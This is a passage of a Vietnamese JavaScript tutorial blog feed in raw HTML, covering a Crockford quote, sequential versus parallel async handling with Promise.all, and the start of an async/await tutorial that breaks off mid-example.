Crockford</h2> <p><span class="gatsby-resp-image-wrapper" style="position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 660px; " > <span class="gatsby-resp-image-background-image" style="padding-bottom: 56.96969696969697%; position: relative; bottom: 0; left: 0; background-image: url('data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAALCAIAAADwazoUAAAACXBIWXMAAAsTAAALEwEAmpwYAAABp0lEQVQoz32Sy27TQBSG84g8AU/ACglVIFAlYF0WSEgVaxYIuuAiqooSQiG1Gzuu7cSRYydOHMeesR0ndWonvsz4oMSlkolU6VuM5pxPc/SfqdEU0xQXmQvEh8wrUrQ5EH9zk3tAPCA+TTFJ0BZc9pfUSjNeTpaBHoVGnnpXvrrwtSSylnMjcLXA7acrG4oZ0FmRuRWZJAjozNB5tcdefjpEclNgjnjmq2N1JaHBsd+l9s+RzjsTeaTzcWgC8aoy8ScGj/Dg/M2z3oe3evekJ//CjqrIv/s9RlXO261Tka+zzeNBvwW5m63sysvmgP385f3j+/cO9/c+vjtgzo6mZueSr4t8vX1x2mJOBO6HJDR68h9JaOCpAsQnCbqRsSW9fP7k0cMH+0/3Xr96Iba+ubbSFc/Y5vFQ44caZ2icrl4M+5w1FiuB3aQNC4BrgCUUC6BBtnbwVEFWJ08QFAHQ2S1VeZvhv2VsKGs7e6pUt3Js0blGokm+RtnKztdOyW7rLjUamRR3kvkgCs3rxSi6GsfhOA7N20jvlBNE13Y5fLEB//cT7pD/ApSxU+mDnLRAAAAAAElFTkSuQmCC'); background-size: cover; display: block;" ></span> <img class="gatsby-resp-image-image" alt="DOUGLAS CROCKFORD qoute javascript" title="DOUGLAS CROCKFORD qoute javascript" src="/static/673c318e54991916ae638b73188a2cba/7c811/DOUGLAS-CROCKFORD-quoute-about-javascript-completejavascript.com_.png" srcset="/static/673c318e54991916ae638b73188a2cba/103f2/DOUGLAS-CROCKFORD-quoute-about-javascript-completejavascript.com_.png 165w, /static/673c318e54991916ae638b73188a2cba/748ba/DOUGLAS-CROCKFORD-quoute-about-javascript-completejavascript.com_.png 330w, /static/673c318e54991916ae638b73188a2cba/7c811/DOUGLAS-CROCKFORD-quoute-about-javascript-completejavascript.com_.png 660w, /static/673c318e54991916ae638b73188a2cba/a27c6/DOUGLAS-CROCKFORD-quoute-about-javascript-completejavascript.com_.png 700w" sizes="(max-width: 660px) 100vw, 660px" style="width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;" loading="lazy" decoding="async" /> </span></p> <p><a href="https://en.wikipedia.org/wiki/Douglas_Crockford">Douglas Crockford</a> là một nhà phát triển phần mềm. Ông chính là người phát triển nên kiểu dữ liệu rất phổ biến là <a href="/tim-hieu-ve-json-trong-javascript/">JSON</a>, và nhiều công cụ khác liên quan đến JavaScript như <a href="https://en.wikipedia.org/wiki/JSLint">JSLint</a> and <a href="https://en.wikipedia.org/wiki/Minification_(programming)">JSMin</a>. Hiện tại, ông đang là kiến trúc sư trưởng về JavaScript tại PayPal.</p> <p>Câu danh ngôn trên dịch ra là: "JavaScript là thứ ngôn ngữ duy nhất mà tôi thấy rằng người ta cảm thấy họ không cần phải học trước khi bắt đầu sử dụng nó".</p> <p>Điều này có nghĩa là JavaScript rất dễ để viết. Đây là ngôn ngữ lập trình bậc cao và khá gần với ngôn ngữ tự nhiên.</p> <h2 id="kết-luận" style="position:relative;"><a href="#k%E1%BA%BFt-lu%E1%BA%ADn" aria-label="kết luận permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Kết luận</h2> <p>Trên đây là những danh ngôn lập trình của những lập trình viên "huyền thoại": Brendan Eich, Jeff Atwood, Douglas Crockford. Nếu bạn biết danh ngôn nào khác, vui lòng chia sẻ ở phần bình luận phía dưới. Tôi rất vui và cám ơn bạn.</p> <p>Xin chào và hẹn gặp lại bạn ở bài viết tiếp theo, thân ái!</p>[email protected]<![CDATA[Xử lý bất đồng bộ song song hay tuần tự?]]><![CDATA[Có thể bạn đã quen với việc xử lý bất đồng bộ trong JavaScript với Promise hoặc Async/await rồi. Tuy nhiên, khi bạn có một chuỗi các hành động thì câu hỏi đặt ra là: bạn sẽ xử lý…]]>https://completejavascript.com/xu-ly-bat-dong-bo-song-song-tuan-tu/https://completejavascript.com/xu-ly-bat-dong-bo-song-song-tuan-tu/<![CDATA[Async - Await]]><![CDATA[Destructuring Assignment]]><![CDATA[ES6]]><![CDATA[Promise]]>Mon, 17 Jul 2017 23:00:52 GMT<p>Có thể bạn đã quen với việc <a href="/xu-ly-bat-dong-bo-callback-promise-async-await/">xử lý bất đồng bộ</a> trong JavaScript với <a href="/promise-la-gi-promise-trong-javascript/">Promise</a> hoặc <a href="/tag/async-await/">Async/await</a> rồi. Tuy nhiên, khi bạn có một chuỗi các hành động thì câu hỏi đặt ra là: bạn sẽ xử lý chúng như thế nào? Bạn quyết định xử lý bất đồng bộ song song hay tuần tự?</p> <p>Câu trả lời có lẽ sẽ phụ thuộc vào từng trường hợp. Tuy nhiên, để biết được nên lựa chọn cách nào thì bạn cần phải biết ý nghĩa và cách triển khai của từng trường hợp.</p> <p>Bài viết này sẽ giới thiệu với bạn về 2 cách xử lý bất đồng bộ. Mời bạn theo dõi bài viết!</p> <h2 id="định-nghĩa-bài-toán" style="position:relative;"><a href="#%C4%91%E1%BB%8Bnh-ngh%C4%A9a-b%C3%A0i-to%C3%A1n" aria-label="định nghĩa bài toán permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Định nghĩa bài toán</h2> <p>Giả sử, mình có <strong>một công việc</strong> bất đồng bộ là: lấy thông tin bài viết (<strong>getPost</strong>). Công việc này bao gồm <strong>3 hành động</strong> bất đồng bộ là:</p> <ul> <li>Lấy nội dung bài viết (<strong>getContent</strong>)</li> <li>Lấy nội dung phần bình luận (<strong>getComments</strong>)</li> <li>Lấy danh sách các bài viết liên quan (<strong>getRelatedPosts</strong>)</li> </ul> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// hàm đợi ms để mô phỏng các hoạt động bất đồng bộ</span> <span class="token keyword">const</span> <span class="token function-variable function">wait</span> <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token parameter">ms</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">res</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">setTimeout</span><span class="token punctuation">(</span>res<span class="token punctuation">,</span> ms<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hàm lấy nội dung bài viết</span> <span class="token keyword">const</span> <span class="token function-variable function">getContent</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">await</span> <span class="token function">wait</span><span class="token punctuation">(</span><span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token string">"This is content"</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hàm lấy comments</span> <span class="token keyword">const</span> <span class="token function-variable function">getComments</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">await</span> <span class="token function">wait</span><span class="token punctuation">(</span><span class="token number">1500</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token string">"comment 1"</span><span class="token punctuation">,</span> <span class="token string">"comment 2"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hàm lấy bài viết liên quan</span> <span class="token keyword">const</span> <span class="token function-variable function">getRelatedPosts</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token keyword">await</span> <span class="token function">wait</span><span class="token punctuation">(</span><span class="token number">2000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">return</span> <span class="token punctuation">[</span><span class="token string">"post 2"</span><span class="token punctuation">,</span> <span class="token string">"post 3"</span><span class="token punctuation">,</span> <span class="token string">"post 4"</span><span class="token punctuation">]</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">// hàm tổng để lấy bài viết</span> <span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token comment">// TODO: Implement later</span> <span class="token punctuation">}</span><span class="token punctuation">;</span></code></pre></div> <p>Với công việc như trên, mình sẽ thử triển khai theo cách xử lý bất đồng bộ tuần tự và cách xử lý bất đồng bộ song song, sau đó kiểm tra xem cách nào tốt hơn nhé!</p> <h2 id="xử-lý-bất-đồng-bộ-tuần-tự" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99-tu%E1%BA%A7n-t%E1%BB%B1" aria-label="xử lý bất đồng bộ tuần tự permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý bất đồng bộ tuần tự</h2> <p>Với cách này, 3 hành động <strong>getContent</strong>, <strong>getComments</strong> và <strong>getRelatedPosts</strong> sẽ thực hiện tuần tự nhau. Nếu sử dụng async/await thì kết quả sẽ như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">time</span><span class="token punctuation">(</span><span class="token string">"time"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> content <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">getContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> comments <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">getComments</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> relatedPosts <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">getRelatedPosts</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Post Info: </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">{</span> content<span class="token punctuation">,</span> comments<span class="token punctuation">,</span> relatedPosts <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">timeEnd</span><span class="token punctuation">(</span><span class="token string">"time"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token function">getPost</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">/* Post Info: { comments: ["comment 1", "comment 2"] content: "This is content" relatedPosts: ["post 2", "post 3", "post 4"] } time: 4504.9638671875ms */</span></code></pre></div> <p>Trong ví dụ trên, mình sử dụng <a href="/thu-thuat-su-dung-console-hieu-qua/">console.time và console.timeEnd</a> để tính toán thời gian thực hiện. Kết quả thu được cỡ <strong>4500 ms</strong>. Đó chính là <strong>tổng thời gian thực hiện của 3 hành động</strong>.</p> <p><strong>Cụ thể:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">time(getPost) = time(getContent) + time(getComments) + time(getRelatedPosts) = 1000 + 1500 + 2000 = 4500 (ms)</code></pre></div> <h2 id="xử-lý-bất-đồng-bộ-song-song" style="position:relative;"><a href="#x%E1%BB%AD-l%C3%BD-b%E1%BA%A5t-%C4%91%E1%BB%93ng-b%E1%BB%99-song-song" aria-label="xử lý bất đồng bộ song song permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Xử lý bất đồng bộ song song</h2> <p>Với cách này, 3 hành động <strong>getContent</strong>, <strong>getComments</strong> và <strong>getRelatedPosts</strong> sẽ thực hiện gần như là song song với nhau. Để thực hiện việc này, mình sẽ áp dụng <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Promise/all">Promise.all</a> vào đây và kết quả thu được như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">const</span> <span class="token function-variable function">getPost</span> <span class="token operator">=</span> <span class="token keyword">async</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> console<span class="token punctuation">.</span><span class="token function">time</span><span class="token punctuation">(</span><span class="token string">"time"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">const</span> <span class="token punctuation">[</span>content<span class="token punctuation">,</span> comments<span class="token punctuation">,</span> relatedPosts<span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token keyword">await</span> Promise<span class="token punctuation">.</span><span class="token function">all</span><span class="token punctuation">(</span><span class="token punctuation">[</span> <span class="token function">getContent</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">getComments</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token function">getRelatedPosts</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token punctuation">]</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span><span class="token template-string"><span class="token template-punctuation string">`</span><span class="token string">Post Info: </span><span class="token template-punctuation string">`</span></span><span class="token punctuation">,</span> <span class="token punctuation">{</span> content<span class="token punctuation">,</span> comments<span class="token punctuation">,</span> relatedPosts <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> console<span class="token punctuation">.</span><span class="token function">timeEnd</span><span class="token punctuation">(</span><span class="token string">"time"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">;</span> <span class="token comment">/* Post Info: { comments: ["comment 1", "comment 2"] content: "This is content" relatedPosts: ["post 2", "post 3", "post 4"] } time: 2001.398193359375ms */</span></code></pre></div> <p>Trong ví dụ trên, mình đưa 3 hành động bất đồng bộ vào một <a href="/array-la-gi-array-trong-javascript/">mảng</a>, rồi truyền nó vào <code>Promise.all</code>. Tiếp theo, mình thực hiện <code>await</code> với phương thức này để đợi kết quả trả về.</p> <p>Sau khi hàm trên kết thúc, mình dùng <a href="/destructuring-assignment-trong-javascript/">Destructuring Assignment</a> để lấy ra kết quả như mong muốn, theo đúng thứ tự truyền vào của các hành động bên trong <code>Promise.all</code>.</p> <p>Với cách này, thời gian thực hiện cỡ <strong>2000 ms</strong>. Đó chính là <strong>thời gian thực hiện lớn nhất của 3 hành động</strong>.</p> <p><strong>Cụ thể:</strong></p> <div class="gatsby-highlight" data-language="text"><pre class="language-text"><code class="language-text">time(getPost) = Max [time(getContent), time(getComments), time(getRelatedPosts)] = Max [1000, 1500, 2000] = 2000</code></pre></div> <h2 id="lời-kết" style="position:relative;"><a href="#l%E1%BB%9Di-k%E1%BA%BFt" aria-label="lời kết permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Lời kết</h2> <p>Trên đây mình đã giới thiệu với bạn 2 cách xử lý bất đồng bộ song song và tuần tự rồi. Trong bài toán trên, 3 hành động là hoàn toàn độc lập nhau. Do đó, nếu làm thực tế thì mình sẽ lựa chọn xử lý bất đồng bộ song song. Vì thời gian thực hiện là ngắn hơn đáng kể so với cách xử lý bất đồng bộ tuần tự. Ngược lại, chỉ khi nào các hành động phụ thuộc lẫn nhau thì mình mới sử dụng cách xử lý bất đồng bộ tuần tự mà thôi.</p> <p><em>Bạn đã biết cách xử lý bất đồng bộ song song chưa? Và nếu bạn đã từng làm nó rồi thì cách thực hiện của bạn là gì? Ngoài cách sử dụng <code>Promise.all</code> như trên thì còn cách nào nữa không? Chia sẻ với mình và mọi người trong phần bình luận nhé!</em></p> <p>Xin chào và hẹn gặp lại, thân ái!</p>[email protected]<![CDATA[Async/await là gì? Async/await trong JavaScript]]><![CDATA[Có một cú pháp đặc biệt để làm việc với các promise theo cách thoải mái hơn, được gọi là async / await. Cách này thật sự dễ hiểu và dễ sử dụng. Hàm "async" Hãy bắt đầu với từ khóa…]]>https://completejavascript.com/async-await-la-gi-async-await-trong-javascript/https://completejavascript.com/async-await-la-gi-async-await-trong-javascript/<![CDATA[Async - Await]]><![CDATA[Promise]]>Sun, 16 Jul 2017 06:00:00 GMT<p>Có một <strong>cú pháp đặc biệt</strong> để làm việc với các promise theo cách thoải mái hơn, được gọi là <strong>async / await</strong>. Cách này thật sự dễ hiểu và dễ sử dụng.</p> <h2 id="hàm-async" style="position:relative;"><a href="#h%C3%A0m-async" aria-label="hàm async permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Hàm "async"</h2> <p>Hãy bắt đầu với từ khóa <code>async</code>. Từ khóa này có thể được đặt trước một hàm như sau:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span></code></pre></div> <p>Từ khóa <code>async</code> đặt trước một hàm giúp hàm đó luôn trả về <strong>promise</strong>. Các giá trị khác được bao bọc trong một promise đã được resolve.</p> <p>Ví dụ hàm sau trả về một promise đã được resolve với kết quả là <code>1</code>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> <span class="token number">1</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Bạn có thể trả lại promise <strong>một cách rõ ràng hơn</strong>:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">return</span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">.</span><span class="token function">then</span><span class="token punctuation">(</span>console<span class="token punctuation">.</span>log<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// 1</span></code></pre></div> <p>Vì vậy, từ khóa <code>async</code> đảm bảo rằng hàm trả về một promise bao bọc lấy những giá trị không phải promise bên trong.</p> <p>Nhưng không chỉ có vậy. Có một từ khóa khác, đó là <code>await</code> - chỉ hoạt động bên trong hàm <code>async</code>.</p> <h2 id="từ-khóa-await" style="position:relative;"><a href="#t%E1%BB%AB-kh%C3%B3a-await" aria-label="từ khóa await permalink" class="anchor before"><svg aria-hidden="true" focusable="false" height="16" version="1.1" viewBox="0 0 16 16" width="16"><path fill-rule="evenodd" d="M4 9h1v1H4c-1.5 0-3-1.69-3-3.5S2.55 3 4 3h4c1.45 0 3 1.69 3 3.5 0 1.41-.91 2.72-2 3.25V8.59c.58-.45 1-1.27 1-2.09C10 5.22 8.98 4 8 4H4c-.98 0-2 1.22-2 2.5S3 9 4 9zm9-3h-1v1h1c1 0 2 1.22 2 2.5S13.98 12 13 12H9c-.98 0-2-1.22-2-2.5 0-.83.42-1.64 1-2.09V6.25c-1.09.53-2 1.84-2 3.25C6 11.31 7.55 13 9 13h4c1.45 0 3-1.69 3-3.5S14.5 6 13 6z"></path></svg></a>Từ khóa "await"</h2> <p>Cú pháp sử dụng từ khóa <code>await</code></p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token comment">// chỉ hoạt động bên trong hàm async</span> <span class="token keyword">let</span> value <span class="token operator">=</span> <span class="token keyword">await</span> promise<span class="token punctuation">;</span></code></pre></div> <p>Từ khóa <code>await</code> làm JavaScript đợi đến khi promise được giải quyết thành công và sau đó trả về kết quả.</p> <p>Dưới đây là ví dụ với một promise được giải quyết sau 1 giây:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> promise <span class="token operator">=</span> <span class="token keyword">new</span> <span class="token class-name">Promise</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token parameter">resolve<span class="token punctuation">,</span> reject</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token punctuation">{</span> <span class="token function">setTimeout</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token operator">=></span> <span class="token function">resolve</span><span class="token punctuation">(</span><span class="token string">"done!"</span><span class="token punctuation">)</span><span class="token punctuation">,</span> <span class="token number">1000</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token punctuation">}</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// Đợi cho đến khi promise resolve thành công</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token keyword">await</span> promise<span class="token punctuation">;</span> <span class="token comment">// (*)</span> console<span class="token punctuation">.</span><span class="token function">log</span><span class="token punctuation">(</span>result<span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// "done!"</span> <span class="token punctuation">}</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span></code></pre></div> <p>Việc thực thi hàm <code>f()</code> <strong>tạm dừng</strong> tại dòng <code>(*)</code> và tiếp tục khi promise giải quyết xong, với kết quả là <code>result</code>. Vì vậy, đoạn mã trên hiển thị <code>"done!"</code> sau 1 giây.</p> <p><strong>Chú ý:</strong> từ khóa <code>await</code> theo đúng nghĩa đen thì sẽ tạm dừng việc thực thi hàm cho đến khi promise được giải quyết. và sau đó tiếp tục với kết quả của promise.</p> <p>Điều đó không tốn bất kỳ tài nguyên CPU nào, bởi vì JavaScript engine có thể <strong>thực hiện các công việc khác</strong> trong thời gian chờ đợi: thực thi các tập lệnh khác, xử lý các sự kiện, v.v.</p> <p>Đó chỉ là một cú pháp gọn gàng hơn để nhận được kết quả promise so với <code>promise.then</code>. Và rõ ràng, cú pháp đó dễ để đọc và viết hơn.</p> <p><strong>Chú ý:</strong> Không thể sử dụng từ khóa <code>await</code> trong các hàm thông thường</p> <p>Nếu bạn cố gắng sử dụng <code>await</code> trong một hàm không đồng bộ, sẽ xảy ra lỗi cú pháp:</p> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">function</span> <span class="token function">f</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token keyword">let</span> promise <span class="token operator">=</span> Promise<span class="token punctuation">.</span><span class="token function">resolve</span><span class="token punctuation">(</span><span class="token number">1</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> result <span class="token operator">=</span> <span class="token keyword">await</span> promise<span class="token punctuation">;</span> <span class="token comment">// Syntax error</span> <span class="token punctuation">}</span></code></pre></div> <p>Bạn có thể gặp lỗi này nếu quên đặt từ khóa <code>async</code> trước hàm. Như đã nói trước đó, <code>await</code> chỉ hoạt động bên trong hàm <code>async</code>.</p> <p>Quay lại ví dụ về hàm <code>showAvatar()</code> từ bài viết về <a href="/chuoi-promise-trong-javascript/">chuỗi promise</a> và viết lại hàm đó bằng cách sử dụng <code>async/await</code>:</p> <ol> <li>Bạn sẽ cần thay thế <code>.then</code> bằng <code>await</code>.</li> <li>Ngoài ra, bạn nên tạo hàm <code>async</code> để <code>await</code> hoạt động.</li> </ol> <div class="gatsby-highlight" data-language="js"><pre class="language-js"><code class="language-js"><span class="token keyword">async</span> <span class="token keyword">function</span> <span class="token function">showAvatar</span><span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token punctuation">{</span> <span class="token comment">// lấy về json từ server và đọc nó</span> <span class="token keyword">let</span> response <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token punctuation">(</span><span class="token string">"/api/user.json"</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token keyword">let</span> user <span class="token operator">=</span> <span class="token keyword">await</span> response<span class="token punctuation">.</span><span class="token function">json</span><span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">;</span> <span class="token comment">// lấy thông tin user tương ứng và đọc nó</span> <span class="token keyword">let</span> githubResponse <span class="token operator">=</span> <span class="token keyword">await</span> <span class="token function">fetch</span><span class="token 